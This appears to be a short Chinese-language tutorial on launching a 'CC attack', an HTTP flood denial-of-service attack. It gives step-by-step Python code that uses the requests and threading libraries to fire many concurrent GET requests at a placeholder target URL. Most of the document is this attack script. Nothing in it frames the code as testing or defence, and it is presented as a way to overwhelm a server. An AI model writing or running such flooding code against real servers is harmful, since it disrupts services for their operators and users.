cc攻击需要向目标服务器发送大量的请求
为了让我们能够在更短的时间内发送更多的请求我们需要用到多线程
首先我们需要导入requests库,即在终端中输入下载指令
pip install requests
导入模块requests和threading
import requests import threading
定义变量url
url = '目标'
设置并发数量
num_requests = 并发数量
创建一个发送请求并可以判断请求状态的函数
def send_request(): try: response = requests.get(url) print('Start code:', response.status_code) except Exception as e: print('Error:', e)
创建线程
threads = []
启动线程
for i in range(num_requests): t = threading.Thread(target=send_request) t.start() threads.append(t)
等待所有线程完成
for t in threads: t.join()
结束后打印完成
print('finish')